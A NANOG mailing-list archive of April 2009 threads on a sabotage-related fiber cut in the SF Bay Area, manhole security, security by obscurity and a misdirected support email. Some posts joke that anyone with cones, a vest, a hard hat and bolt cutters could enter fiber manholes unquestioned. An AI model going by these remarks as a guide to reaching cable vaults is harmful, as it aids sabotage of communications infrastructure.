> is not security," then, what (practical thing) IS security? > > Obscurity as a principle works just fine provided the given token is > obscure enough. Of course, but I said "if we accept that". It was a challenge for the previous poster. ;-) > Ideally there are layers of "security by obscurity" so > compromise of any one token isn't enough by itself: my strong ssh > password (1 layer of obscurity) is protected by the ssh server key (2nd > layer) that is only accessible via vpn which has it's own encryption key > (3rd layer). The loss of my password alone doesn't get anyone anything. > The compromise of either the VPN or server ssh key (without already > having direct access to those systems) doesn't get them my password either. > > I think the problem is that the notion of "security by obscurity isn't > security" was originally meant to convey to software vendors "don't rely > on closed source to hide your bugs" and has since been mistakenly > applied beyond that narrow context. In most of our applications, some > form of obscurity is all we really have. That's really it, and bringing us back to the fiber discussion, we are forced, generally, to rely on obscurity. In general, talk to a hundred people on the street, few of them are likely to be able to tell you how fiber gets from one city to another, or that a single fiber may be carrying immense amounts of traffic. Most people expect that it just all works somehow. The fact that it's buried means that it is sufficiently inaccessible to most people. It will still be vulnerable to certain risks, including backhoes, anything else that disrupts the ground (freight derailments, earthquakes, etc), but those are all more or less natural hazards that you protect against with redundancy. The guy who has technical specifics about your fiber network, and who picks your vulnerable points and hits you with a hacksaw, that's just always going to be much more complex to defend against. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jamie at photon.com Mon Apr 13 08:07:15 2009 From: jamie at photon.com (Jamie Bowden) Date: Mon, 13 Apr 2009 09:07:15 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: References: <49DE70E0.6040807@thewybles.com><3FF2479B-EA99-4B18-94A6-C221C9CFF2F0@introspect.net> Message-ID: You forgot the clip board. Without the clip board, no one will believe it. J -----Original Message----- From: Andy Ringsmuth [mailto:andyring at inebraska.com] Sent: Friday, April 10, 2009 1:52 PM To: Daryl G. Jurbala Cc: nanog at nanog.org Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! On Apr 10, 2009, at 12:37 PM, Daryl G. Jurbala wrote: >> >> 3) From what I understand it's not trivial to raise a manhole >> cover. Most likely can't be done by one person. Can they be locked? >> Or were the carriers simply relying on obscurity/barrier to entry? > > > Your understanding is incorrect. I'm an average sized guy and I can > pull a manhole cover with one hand on the right tool. It might take > 2 hands if it hasn't been opened recently and has lots of pebbles > and dirt jammed in around it. It's like everything else: if you > know how to do it, and you have the right tool, it's simple. Agreed. Manhole covers are very simple to remove. I don't even need any tools. I've removed countless manhole covers to retrieve balls, frisbees, etc., with nothing more than my bare hands. It's a pretty trivial task. Think about it. All anyone would need to do is pull up to the manhole, set a few orange cones around it, put on an orange vest and a hard hat, and crawl on in with your wire cutters and bolt cutter. Guaranteed NO ONE will even question it. -Andy From joel.mercado at verizon.net Mon Apr 13 08:21:44 2009 From: joel.mercado at verizon.net (joel.mercado at verizon.net) Date: Mon, 13 Apr 2009 13:21:44 +0000 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! Message-ID: <2101409482-1239628938-cardhu_decombobulator_blackberry.rim.net-2029472243-@bxe1264.bisx.prod.on.blackberry> I agree 100 percent.... The clipboard makes it official... ------Original Message------ From: Jamie Bowden To: Andy Ringsmuth Cc: nanog at nanog.org Subject: RE: Outside plant protection, fiber cuts, interwebz down oh noes! Sent: Apr 13, 2009 9:07 AM You forgot the clip board. Without the clip board, no one will believe it. J -----Original Message----- From: Andy Ringsmuth [mailto:andyring at inebraska.com] Sent: Friday, April 10, 2009 1:52 PM To: Daryl G. Jurbala Cc: nanog at nanog.org Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! On Apr 10, 2009, at 12:37 PM, Daryl G. Jurbala wrote: >> >> 3) From what I understand it's not trivial to raise a manhole >> cover. Most likely can't be done by one person. Can they be locked? >> Or were the carriers simply relying on obscurity/barrier to entry? > > > Your understanding is incorrect. I'm an average sized guy and I can > pull a manhole cover with one hand on the right tool. It might take > 2 hands if it hasn't been opened recently and has lots of pebbles > and dirt jammed in around it. It's like everything else: if you > know how to do it, and you have the right tool, it's simple. Agreed. Manhole covers are very simple to remove. I don't even need any tools. I've removed countless manhole covers to retrieve balls, frisbees, etc., with nothing more than my bare hands. It's a pretty trivial task. Think about it. All anyone would need to do is pull up to the manhole, set a few orange cones around it, put on an orange vest and a hard hat, and crawl on in with your wire cutters and bolt cutter. Guaranteed NO ONE will even question it. -Andy Sent on the Now Network? from my Sprint?? BlackBerry From drchoffnes at cs.northwestern.edu Mon Apr 13 08:25:56 2009 From: drchoffnes at cs.northwestern.edu (Dave Choffnes) Date: Mon, 13 Apr 2009 08:25:56 -0500 Subject: Visualizing and confirming network anomalies - Newsight Message-ID: <95e3caf10904130625oe998106j943b66fbf379f192@mail.gmail.com> Hi folks, We've just released a new tool that allows you to see network problems from end-user machines, currently BitTorrent users. (Think of this as putting P2P traffic to good use.) The interface that we've provided is still very beta, but we'd appreciate any (constructive) feedback. A little more detail: we've deployed software called NEWS (network early warning system) that uses P2P users' natural traffic to detect sudden, unexpected drops in network performance -- this allows our 25k BitTorrent users to corroborate network problems with each other. Our tool, called Newsight, lets you see summaries of their reported network anomalies. You can browse a timeline of anomalies grouped by country, AS or prefix. You can also confirm known network problems, helping to create a public database of outages and their explanations. You can play with Newsight here: http://aqualab.cs.northwestern.edu/projects/news/newsight.html Cheers, Dave (on behalf of the Aqualab research group) -- David Choffnes PhD Candidate, Computer Science Northwestern University From dan at beanfield.com Mon Apr 13 08:28:36 2009 From: dan at beanfield.com (Dan Armstrong) Date: Mon, 13 Apr 2009 09:28:36 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: References: <49DE70E0.6040807@thewybles.com><3FF2479B-EA99-4B18-94A6-C221C9CFF2F0@introspect.net> Message-ID: <28577641-8518-4292-93EE-92C71183B118@beanfield.com> I know it's fun to have these sort of discussions...... however, here in Toronto anyway all of the splicers, construction people and other contractors all know each other enough to be able to spot somebody thats not auposed to be there. The city inspectors are cruising all day looking for health and safety violations, traffic inspectors are looking for issues, and the"cop Maffia" is making sure you have a pay duty cop. Unless you were incredibly lucky, a rogue crew at work In a chamber would be caught very quickly. On 13-Apr-09, at 9:07 AM, "Jamie Bowden" wrote: > You forgot the clip board. Without the clip board, no one will > believe > it. > > J > > -----Original Message----- > From: Andy Ringsmuth [mailto:andyring at inebraska.com] > Sent: Friday, April 10, 2009 1:52 PM > To: Daryl G. Jurbala > Cc: nanog at nanog.org > Subject: Re: Outside plant protection, fiber cuts, interwebz down oh > noes! > > > On Apr 10, 2009, at 12:37 PM, Daryl G. Jurbala wrote: > >>> >>> 3) From what I understand it's not trivial to raise a manhole >>> cover. Most likely can't be done by one person. Can they be locked? >>> Or were the carriers simply relying on obscurity/barrier to entry? >> >> >> Your understanding is incorrect. I'm an average sized guy and I can >> pull a manhole cover with one hand on the right tool. It might take >> 2 hands if it hasn't been opened recently and has lots of pebbles >> and dirt jammed in around it. It's like everything else: if you >> know how to do it, and you have the right tool, it's simple. > > Agreed. Manhole covers are very simple to remove. I don't even need > any tools. I've removed countless manhole covers to retrieve balls, > frisbees, etc., with nothing more than my bare hands. It's a pretty > trivial task. > > Think about it. All anyone would need to do is pull up to the > manhole, set a few orange cones around it, put on an orange vest and a > hard hat, and crawl on in with your wire cutters and bolt cutter. > Guaranteed NO ONE will even question it. > > > -Andy > > From bruce at yoafrica.com Mon Apr 13 08:51:46 2009 From: bruce at yoafrica.com (Bruce Anthony Grobler) Date: Mon, 13 Apr 2009 15:51:46 +0200 Subject: SPEEDS In-Reply-To: <13A98944C559634F8274934A5DCEE04B01F79066@gowatexc70.kworld.kpmg.com> References: <13A98944C559634F8274934A5DCEE04B01F79066@gowatexc70.kworld.kpmg.com> Message-ID: <200904131551.46706.bruce@yoafrica.com> Hi Thomas, Please paste me a traceroute to google.com Regards, Bruce On Monday 13 April 2009 3:45:10 pm Matikiti, Thomas wrote: > Wazup Bruce - I'm a bit concerned about our speeds here even today when > they are two people in the office I still find myself struggling to > browse the internet due to slow speeds. We should investigate our link's > performance when there is no one in the office because for it remains > the same ----- slow. > > Regards, > Tom > > > The information in this e-mail is confidential and may be legally > privileged. It is intended solely for the addressee. Access to this e-mail > by anyone else is unauthorized. If you have received this communication in > error, please address with the subject heading "Received in error," send to > the original sender , then delete the e-mail and destroy any copies of it. > If you are not the intended recipient, any disclosure, copying, > distribution or any action taken or omitted to be taken in reliance on it, > is prohibited and may be unlawful. Any opinions or advice contained in this > e-mail are subject to the terms and conditions expressed in the governing > KPMG client engagement letter. Opinions, conclusions and other information > in this e-mail and any attachments that do not relate to the official > business of the firm are neither given nor endorsed by it. > > KPMG cannot guarantee that e-mail communications are secure or error-free, > as information could be intercepted, corrupted, amended, lost, destroyed, > arrive late or incomplete, or contain viruses. > > This email is being sent out by KPMG International on behalf of the local > KPMG member firm providing services to you. KPMG International is a Swiss > cooperative that serves as a coordinating entity for a network of > independent firms operating under the KPMG name. KPMG International > provides no services to clients. Each member firm of KPMG International is > a legally distinct and separate entity and each describes itself as such. > Information about the structure and jurisdiction of your local KPMG member > firm can be obtained from your KPMG representative. > > This footnote also confirms that this e-mail message has been swept by > AntiVirus software. > > From bruce at yoafrica.com Mon Apr 13 08:57:24 2009 From: bruce at yoafrica.com (Bruce Anthony Grobler) Date: Mon, 13 Apr 2009 15:57:24 +0200 Subject: SPEEDS In-Reply-To: <13A98944C559634F8274934A5DCEE04B01F79066@gowatexc70.kworld.kpmg.com> References: <13A98944C559634F8274934A5DCEE04B01F79066@gowatexc70.kworld.kpmg.com> Message-ID: <200904131557.24393.bruce@yoafrica.com> I certainly agree that its only the two you Output queue: 0/40 (size/max) 30 second input rate 16000 bits/sec, 9 packets/sec 30 second output rate 9000 bits/sec, 7 packets/sec 51056 packets input, 28961683 bytes KPMG-BR#sh clock 15:48:52.249 GMT Mon Apr 13 2009 A significant difference as compared to peak hours On Monday 13 April 2009 3:45:10 pm Matikiti, Thomas wrote: > Wazup Bruce - I'm a bit concerned about our speeds here even today when > they are two people in the office I still find myself struggling to > browse the internet due to slow speeds. We should investigate our link's > performance when there is no one in the office because for it remains > the same ----- slow. > > Regards, > Tom > > > The information in this e-mail is confidential and may be legally > privileged. It is intended solely for the addressee. Access to this e-mail > by anyone else is unauthorized. If you have received this communication in > error, please address with the subject heading "Received in error," send to > the original sender , then delete the e-mail and destroy any copies of it. > If you are not the intended recipient, any disclosure, copying, > distribution or any action taken or omitted to be taken in reliance on it, > is prohibited and may be unlawful. Any opinions or advice contained in this > e-mail are subject to the terms and conditions expressed in the governing > KPMG client engagement letter. Opinions, conclusions and other information > in this e-mail and any attachments that do not relate to the official > business of the firm are neither given nor endorsed by it. > > KPMG cannot guarantee that e-mail communications are secure or error-free, > as information could be intercepted, corrupted, amended, lost, destroyed, > arrive late or incomplete, or contain viruses. > > This email is being sent out by KPMG International on behalf of the local > KPMG member firm providing services to you. KPMG International is a Swiss > cooperative that serves as a coordinating entity for a network of > independent firms operating under the KPMG name. KPMG International > provides no services to clients. Each member firm of KPMG International is > a legally distinct and separate entity and each describes itself as such. > Information about the structure and jurisdiction of your local KPMG member > firm can be obtained from your KPMG representative. > > This footnote also confirms that this e-mail message has been swept by > AntiVirus software. > > From bruce at yoafrica.com Mon Apr 13 09:03:17 2009 From: bruce at yoafrica.com (Bruce Anthony Grobler) Date: Mon, 13 Apr 2009 16:03:17 +0200 Subject: SPEEDS In-Reply-To: <200904131551.46706.bruce@yoafrica.com> References: <13A98944C559634F8274934A5DCEE04B01F79066@gowatexc70.kworld.kpmg.com> <200904131551.46706.bruce@yoafrica.com> Message-ID: <200904131603.18204.bruce@yoafrica.com> Kindly disregard my last it was sent in error. From bruce at yoafrica.com Mon Apr 13 09:11:00 2009 From: bruce at yoafrica.com (Bruce Anthony Grobler) Date: Mon, 13 Apr 2009 16:11:00 +0200 Subject: SPEEDS In-Reply-To: References: Message-ID: <200904131611.00722.bruce@yoafrica.com> My sincerest apologies guys, this really wasn't intended to end up here. Bruce On Monday 13 April 2009 4:08:06 pm robbie.jacka at regions.com wrote: > please stop posting this to nanog. much appreciated. > > > > > Bruce Anthony > Grobler > om> nanog at nanog.org > cc > 04/13/2009 09:05 > AM Subject > Re: SPEEDS > > Please respond to > bruce at yoafrica.co > m > > > > > > > I certainly agree that its only the two you > > Output queue: 0/40 (size/max) > 30 second input rate 16000 bits/sec, 9 packets/sec > 30 second output rate 9000 bits/sec, 7 packets/sec > 51056 packets input, 28961683 bytes > > KPMG-BR#sh clock > 15:48:52.249 GMT Mon Apr 13 2009 > > A significant difference as compared to peak hours > > On Monday 13 April 2009 3:45:10 pm Matikiti, Thomas wrote: > > Wazup Bruce - I'm a bit concerned about our speeds here even today when > > they are two people in the office I still find myself struggling to > > browse the internet due to slow speeds. We should investigate our link's > > performance when there is no one in the office because for it remains > > the same ----- slow. > > > > Regards, > > Tom > > > > > > The information in this e-mail is confidential and may be legally > > privileged. It is intended solely for the addressee. Access to this > > e-mail > > > by anyone else is unauthorized. If you have received this communication > > in > > > error, please address with the subject heading "Received in error," send > > to > > > the original sender , then delete the e-mail and destroy any copies of > > it. > > > If you are not the intended recipient, any disclosure, copying, > > distribution or any action taken or omitted to be taken in reliance on > > it, > > > is prohibited and may be unlawful. Any opinions or advice contained in > > this > > > e-mail are subject to the terms and conditions expressed in the governing > > KPMG client engagement letter. Opinions, conclusions and other > > information > > > in this e-mail and any attachments that do not relate to the official > > business of the firm are neither given nor endorsed by it. > > > > KPMG cannot guarantee that e-mail communications are secure or > > error-free, > > > as information could be intercepted, corrupted, amended, lost, destroyed, > > arrive late or incomplete, or contain viruses. > > > > This email is being sent out by KPMG International on behalf of the local > > KPMG member firm providing services to you. KPMG International is a > > Swiss > > > cooperative that serves as a coordinating entity for a network of > > independent firms operating under the KPMG name. KPMG International > > provides no services to clients. Each member firm of KPMG International > > is > > > a legally distinct and separate entity and each describes itself as such. > > > > Information about the structure and jurisdiction of your local KPMG > > member > > > firm can be obtained from your KPMG representative. > > > > This footnote also confirms that this e-mail message has been swept by > > AntiVirus software. From stephen at sprunk.org Mon Apr 13 09:18:04 2009 From: stephen at sprunk.org (Stephen Sprunk) Date: Mon, 13 Apr 2009 09:18:04 -0500 Subject: Fiber cut in SF area In-Reply-To: <49E17DCE.9030605@rockynet.com> References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com> Message-ID: <49E3499C.6090800@sprunk.org> Mike Lewinski wrote: > Joe Greco wrote: >> Which brings me to a new point: if we accept that "security by >> obscurity is not security," then, what (practical thing) IS security? > > Obscurity as a principle works just fine provided the given token is > obscure enough. Ideally there are layers of "security by obscurity" so > compromise of any one token isn't enough by itself: my strong ssh > password (1 layer of obscurity) is protected by the ssh server key > (2nd layer) that is only accessible via vpn which has it's own > encryption key (3rd layer). The loss of my password alone doesn't get > anyone anything. The compromise of either the VPN or server ssh key > (without already having direct access to those systems) doesn't get > them my password either. > > I think the problem is that the notion of "security by obscurity isn't > security" was originally meant to convey to software vendors "don't > rely on closed source to hide your bugs" and has since been mistakenly > applied beyond that narrow context. In most of our applications, some > form of obscurity is all we really have. The accepted standard is that a system is secure iff you can disclose _all_ of the details of how the system works to an attacker _except_ the private key and they still cannot get in -- and that is true of most open-standard or open-source encryption/security products due to extensive peer review and iterative improvements. What "security by obscurity" refers to are systems so weak that their workings cannot be exposed because then the keys will not be needed, which is true of most closed-source systems. It does _not_ refer to keeping your private keys secret. Key management is considered to be an entirely different problem. If you do not keep your private keys secure, no security system will be able to help you. S -- Stephen Sprunk "God does not play dice." --Albert Einstein CCIE #3723 "God is an inveterate gambler, and He throws the K5SSS dice at every possible opportunity." --Stephen Hawking -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3241 bytes Desc: S/MIME Cryptographic Signature URL: From smb at cs.columbia.edu Mon Apr 13 09:34:59 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Mon, 13 Apr 2009 10:34:59 -0400 Subject: Fiber cut in SF area In-Reply-To: <49E3499C.6090800@sprunk.org> References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com> <49E3499C.6090800@sprunk.org> Message-ID: <20090413103459.2cff25eb@cs.columbia.edu> On Mon, 13 Apr 2009 09:18:04 -0500 Stephen Sprunk wrote: > Mike Lewinski wrote: > > Joe Greco wrote: > >> Which brings me to a new point: if we accept that "security by > >> obscurity is not security," then, what (practical thing) IS > >> security? > > > > Obscurity as a principle works just fine provided the given token > > is obscure enough. Ideally there are layers of "security by > > obscurity" so compromise of any one token isn't enough by itself: > > my strong ssh password (1 layer of obscurity) is protected by the > > ssh server key (2nd layer) that is only accessible via vpn which > > has it's own encryption key (3rd layer). The loss of my password > > alone doesn't get anyone anything. The compromise of either the VPN > > or server ssh key (without already having direct access to those > > systems) doesn't get them my password either. > > > > I think the problem is that the notion of "security by obscurity > > isn't security" was originally meant to convey to software vendors > > "don't rely on closed source to hide your bugs" and has since been > > mistakenly applied beyond that narrow context. In most of our > > applications, some form of obscurity is all we really have. > > The accepted standard is that a system is secure iff you can disclose > _all_ of the details of how the system works to an attacker _except_ > the private key and they still cannot get in -- and that is true of > most open-standard or open-source encryption/security products due to > extensive peer review and iterative improvements. What "security by > obscurity" refers to are systems so weak that their workings cannot > be exposed because then the keys will not be needed, which is true of > most closed-source systems. It does _not_ refer to keeping your > private keys secret. Correct. Open source and open standards are (some) ways to achieve that goal. They're not the only ones, nor are they sufficient. (Consider WEP as a glaring example of a failure of a standards process.) On the other hand, I was once told by someone from NSA that they design all of their gear on the assumption that Serial #1 of any new crypto device is delivered to the Kremlin. This principle, as applied to cryptography, was set out by Kerckhoffs in 1883; see http://www.petitcolas.net/fabien/kerckhoffs/ for details. > > Key management is considered to be an entirely different problem. If > you do not keep your private keys secure, no security system will be > able to help you. > Yes. One friend of mine likens insecurity to entropy: you can't destroy it, but you can move it around. For example, cryptography lets you trade the insecurity of the link for the insecurity of the key, on the assumption that you can more easily protect a few keys than many kilometers of wire/fiber/radio. --Steve Bellovin, http://www.cs.columbia.edu/~smb From r.engehausen at gmail.com Mon Apr 13 10:06:55 2009 From: r.engehausen at gmail.com (Roy) Date: Mon, 13 Apr 2009 08:06:55 -0700 Subject: Cart and Horse In-Reply-To: <49E3499C.6090800@sprunk.org> References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com> <49E3499C.6090800@sprunk.org> Message-ID: <49E3550F.50304@gmail.com> A friend mentioned at dinner yesterday that he spotted several AT&T trucks next to manholes in the area affected by the fiber cut. They were busy welding the manhole covers to their rims. From lowen at pari.edu Mon Apr 13 10:21:51 2009 From: lowen at pari.edu (Lamar Owen) Date: Mon, 13 Apr 2009 11:21:51 -0400 Subject: Cart and Horse In-Reply-To: <49E3550F.50304@gmail.com> References: <200904120403.n3C435PH058833@aurora.sol.net> Message-ID: <200904131121.51828.lowen@pari.edu> On Monday 13 April 2009 11:06:55 Roy wrote: > A friend mentioned at dinner yesterday that he spotted several AT&T > trucks next to manholes in the area affected by the fiber cut. They > were busy welding the manhole covers to their rims. :-) Sounds like a cutting torch or portable chop saw will become standard service equipment for them after all. From cchurc05 at harris.com Mon Apr 13 10:49:51 2009 From: cchurc05 at harris.com (Church, Charles) Date: Mon, 13 Apr 2009 10:49:51 -0500 Subject: Cart and Horse In-Reply-To: <200904131121.51828.lowen@pari.edu> References: <49E3550F.50304@gmail.com> <200904131121.51828.lowen@pari.edu> Message-ID: Wouldn't some authentication system be more useful than trying to lock all the manholes? Picture a system maybe using RFID or some other radio system where you walk up to manhole, wave your 'wand' (like a Mobil Speedpass), you hear a couple beeps, and you're cleared to open the manhole. Without authenticating, you can still get in, but the NOCs at local utilities and telcos are notified, maybe police as well. If you can tie access to a particular person's ID, I doubt that person will misuse it. Of course, this requires power and battery backup. On the other hand, maybe it's time to put the blame on the unions. If the saboteur is found to be a union member, maybe penalize the entire union somehow, since they're acting like a terrorist group at that point. Chuck -----Original Message----- From: Lamar Owen [mailto:lowen at pari.edu] Sent: Monday, April 13, 2009 11:22 AM To: nanog at nanog.org Subject: Re: Cart and Horse On Monday 13 April 2009 11:06:55 Roy wrote: > A friend mentioned at dinner yesterday that he spotted several AT&T > trucks next to manholes in the area affected by the fiber cut. They > were busy welding the manhole covers to their rims. :-) Sounds like a cutting torch or portable chop saw will become standard service equipment for them after all. From dylan.ebner at crlmed.com Mon Apr 13 10:57:30 2009 From: dylan.ebner at crlmed.com (Dylan Ebner) Date: Mon, 13 Apr 2009 09:57:30 -0600 Subject: Fiber cut in SF area In-Reply-To: <200904121212.n3CCCCEs012209@aurora.sol.net> References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> Message-ID: <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> One thing that is missing here is before we can define "security" we need to define the "threat" and the "obstruction" the security creates. With an ATM machine, the threat is someone comes and steals the machine for the cash. The majority of the assailants in an ATM case are not interested in the access passwords, so that is not viewed as a threat by the bank. Then bank then says, "If we set really complicated passwords, our repair guys (or contractors) will not be able to fix them." So setting hard passwords is an obstruction. This happens every day, in every IT department in the world. So lets define the "Threat" to the fiber network? We know it isn't monetary as their isn't much value in selling cut sections of fiber. So that leaves out your typical ATM theif. That leaves us with directed attack, revenge or pure vandalism. In a directed attack or revenge scenario, which is what this case looks like, how are manhole locks going to help? If it is was the fiber union, wouldn't they already have the keys anyway? If this was some kind of terrorism scenario wouldn't they also have the resources to get the keys, either by getting employed by the phone company or the fiber union or any one of the other thousand companies that would need those keys? Manhole locks are just going to stop vandalism, and I think the threat to obstruction calculation just doesn't add up for that small level of isolated cases. Here in Qwest territory, manhole locks would be disasterours for repair times. We have had times when our MOE network has an outage and Qwest cannot fix the problem because their repair guys don't have the keys to their own buildings. Seriously. Their own buildings. Ultimately, what really needs to be addresses is the redundancy problem. And this needs to be addresses by everyone who was affected, not just ATT and Verizon, etc. A few years ago we had a site go down when a sprint DS-3 was cut. This was a major wake-up call for us because we had 2 t-1's for the site and they were suppose to have path divergence. And they did, up to the qwest CO where they handed off the circuit to sprint. In the end, we built in workflow redundancies so if any site goes down, we can still operate at near 100% capacity. My point is, it is getting harder and harder to gurantee path divergence and sometimes the redundancies need to be built into the workflow instead of IT. But that does't mean we cannot try. I remember during Katrima a datacenter in downtown New Orleans managed to stay online for the duration of disaster. These guys were on the ball and it paid off for them. In the end, as much as I like to blame the phone companies when we have problems, I also have to take some level of responsibility. And with each of these types of incidents we learn. For everyone affected, you now know even though you have two carriers, you do not have path divergence. And for everyone who colos at an affected Datacenter and get's your service from that center, you know they don't have divergence. So we need to ask ourselves, "where do we go from here?" It will be easier to get more divergence than secure all the manholes in the country. Dylan Ebner, Network Engineer Consulting Radiologists, Ltd. 1221 Nicollet Mall, Minneapolis, MN 55403 ph. 612.573.2236 fax. 612.573.2250 dylan.ebner at crlmed.com www.consultingradiologists.com -----Original Message----- From: Joe Greco [mailto:jgreco at ns.sol.net] Sent: Sunday, April 12, 2009 7:12 AM To: Mike Lewinski Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area > > Joe Greco wrote: > > > My point was more the inverse, which is that a determined, equipped, > > and knowledgeable attacker is a very difficult thing to defend against. > > "The Untold Story of the World's Biggest Diamond Heist" published > recently in Wired was a good read on that subject: > > http://www.wired.com/politics/law/magazine/17-04/ff_diamonds Thanks, *excellent* example. > > Which brings me to a new point: if we accept that "security by > > obscurity is not security," then, what (practical thing) IS security? > > Obscurity as a principle works just fine provided the given token is > obscure enough. Of course, but I said "if we accept that". It was a challenge for the previous poster. ;-) > Ideally there are layers of "security by obscurity" so compromise of > any one token isn't enough by itself: my strong ssh password (1 layer > of obscurity) is protected by the ssh server key (2nd > layer) that is only accessible via vpn which has it's own encryption > key (3rd layer). The loss of my password alone doesn't get anyone anything. > The compromise of either the VPN or server ssh key (without already > having direct access to those systems) doesn't get them my password either. > > I think the problem is that the notion of "security by obscurity isn't > security" was originally meant to convey to software vendors "don't > rely on closed source to hide your bugs" and has since been mistakenly > applied beyond that narrow context. In most of our applications, some > form of obscurity is all we really have. That's really it, and bringing us back to the fiber discussion, we are forced, generally, to rely on obscurity. In general, talk to a hundred people on the street, few of them are likely to be able to tell you how fiber gets from one city to another, or that a single fiber may be carrying immense amounts of traffic. Most people expect that it just all works somehow. The fact that it's buried means that it is sufficiently inaccessible to most people. It will still be vulnerable to certain risks, including backhoes, anything else that disrupts the ground (freight derailments, earthquakes, etc), but those are all more or less natural hazards that you protect against with redundancy. The guy who has technical specifics about your fiber network, and who picks your vulnerable points and hits you with a hacksaw, that's just always going to be much more complex to defend against. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From robertg at garlic.com Mon Apr 13 10:59:39 2009 From: robertg at garlic.com (Robert Glover) Date: Mon, 13 Apr 2009 08:59:39 -0700 Subject: Cart and Horse References: <200904120403.n3C435PH058833@aurora.sol.net> <49E17DCE.9030605@rockynet.com><49E3499C.6090800@sprunk.org> <49E3550F.50304@gmail.com> Message-ID: <082AA00803EC4463BB39F09EACA7D77E@Officeibm1> This bears investigating. I live 3 blocks away. Looks like I'm going on a stroll after work tonight. Bobby Glover Director of Information Services South Valley Interet (AS4307) ----- Original Message ----- From: "Roy" To: "nanog" Sent: Monday, April 13, 2009 8:06 AM Subject: Cart and Horse >A friend mentioned at dinner yesterday that he spotted several AT&T > trucks next to manholes in the area affected by the fiber cut. They > were busy welding the manhole covers to their rims. > > From jpleger at gmail.com Mon Apr 13 11:01:25 2009 From: jpleger at gmail.com (James Pleger) Date: Mon, 13 Apr 2009 09:01:25 -0700 Subject: Cart and Horse In-Reply-To: References: <49E3550F.50304@gmail.com> <200904131121.51828.lowen@pari.edu> Message-ID: <13CB2DC8-5851-4DF9-9196-23A298A21A5B@gmail.com> Yes, they could create a solution for this that will cost money, or they could just take out the welding specs and go to town for a fraction of the price. This type of stuff is typical of incident response... Fix the bleeding and create a long term solution that won't be as big of an impact. Regards, James Pleger e: jpleger at gmail.com g: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9D7141C9 On Apr 13, 2009, at 8:49 AM, Church, Charles wrote: > Wouldn't some authentication system be more useful than trying to lock > all the manholes? Picture a system maybe using RFID or some other > radio > system where you walk up to manhole, wave your 'wand' (like a Mobil > Speedpass), you hear a couple beeps, and you're cleared to open the > manhole. Without authenticating, you can still get in, but the NOCs > at > local utilities and telcos are notified, maybe police as well. If you > can tie access to a particular person's ID, I doubt that person will > misuse it. Of course, this requires power and battery backup. On the > other hand, maybe it's time to put the blame on the unions. If the > saboteur is found to be a union member, maybe penalize the entire > union > somehow, since they're acting like a terrorist group at that point. > > Chuck > > > -----Original Message----- > From: Lamar Owen [mailto:lowen at pari.edu] > Sent: Monday, April 13, 2009 11:22 AM > To: nanog at nanog.org > Subject: Re: Cart and Horse > > > On Monday 13 April 2009 11:06:55 Roy wrote: >> A friend mentioned at dinner yesterday that he spotted several AT&T >> trucks next to manholes in the area affected by the fiber cut. They >> were busy welding the manhole covers to their rims. > > :-) > > Sounds like a cutting torch or portable chop saw will become standard > service > equipment for them after all. > > > -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part URL: From swmike at swm.pp.se Mon Apr 13 11:12:43 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Mon, 13 Apr 2009 18:12:43 +0200 (CEST) Subject: Fiber cut in SF area In-Reply-To: <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: On Mon, 13 Apr 2009, Dylan Ebner wrote: > Manhole locks are just going to stop vandalism, and I think the threat > to obstruction calculation just doesn't add up for that small level of > isolated cases. It doesn't stop it, it just makes it slightly harder, and they'll go after another point. This is the bay area as well... How long do you need to spend with a torch to cut thru that? A couple of minutes? There is absolutely no way you can stop a determined attacker, and it would increase cost a lot more than it's worth. Time is better spent stopping the few people who actually do these kinds of things, same way as it's not worth it for regular people to wear body armour all the time, just in case they might get shot, or have parachutes and emergency exits that work in mid-flight on commercial airliners. The various police agencies and the NTSB cost less in a cost/benefit analysis. -- Mikael Abrahamsson email: swmike at swm.pp.se From mpetach at netflight.com Mon Apr 13 11:19:16 2009 From: mpetach at netflight.com (Matthew Petach) Date: Mon, 13 Apr 2009 09:19:16 -0700 Subject: Cart and Horse In-Reply-To: <200904131121.51828.lowen@pari.edu> References: <200904120403.n3C435PH058833@aurora.sol.net> <49E3499C.6090800@sprunk.org> <49E3550F.50304@gmail.com> <200904131121.51828.lowen@pari.edu> Message-ID: <63ac96a50904130919n4ad9863fl9a77a8a0e4ed5f40@mail.gmail.com> On 4/13/09, Lamar Owen wrote: > On Monday 13 April 2009 11:06:55 Roy wrote: > > A friend mentioned at dinner yesterday that he spotted several AT&T > > trucks next to manholes in the area affected by the fiber cut. They > > were busy welding the manhole covers to their rims. > > :-) > > Sounds like a cutting torch or portable chop saw will become standard service > equipment for them after all. *heh* Just in case the next vandals slice the fiber, then weld the manhole covers shut on the way 